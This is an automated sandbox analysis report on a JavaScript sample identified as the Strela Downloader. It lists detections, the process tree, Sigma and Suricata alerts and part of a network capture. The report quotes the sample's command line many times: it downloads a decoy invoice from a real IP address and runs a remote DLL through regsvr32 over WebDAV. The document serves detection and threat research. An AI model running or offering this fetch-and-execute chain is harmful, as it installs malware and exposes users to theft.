Edit tour

Windows Analysis Report
13134167581645321294.js

Overview

General Information

Sample name:	13134167581645321294.js
Analysis ID:	1588832
MD5:	f58108f022537d81706e594a8fc3a8aa
SHA1:	aefe7ceebcdffd3d179bac5fcaf62a6198b66fec
SHA256:	eb966ce941711113c7f612a1480b34c315ba67fbfbc73221d8fe0408a00512fb
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5268 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2828 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6416 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1740,i,8706467491395419620,10686934641239269085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3176 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6600 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4524 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2828, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2828, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ProcessId: 6616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6600, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ProcessId: 6616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5268, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2828, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3176, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6600, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4524, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3176, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6600, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll, ProcessId: 5268, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:48.274250+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:50.937638+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:04:48.274250+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 13134167581645321294.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 13134167581645321294.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 13134167581645321294.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:04:48 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

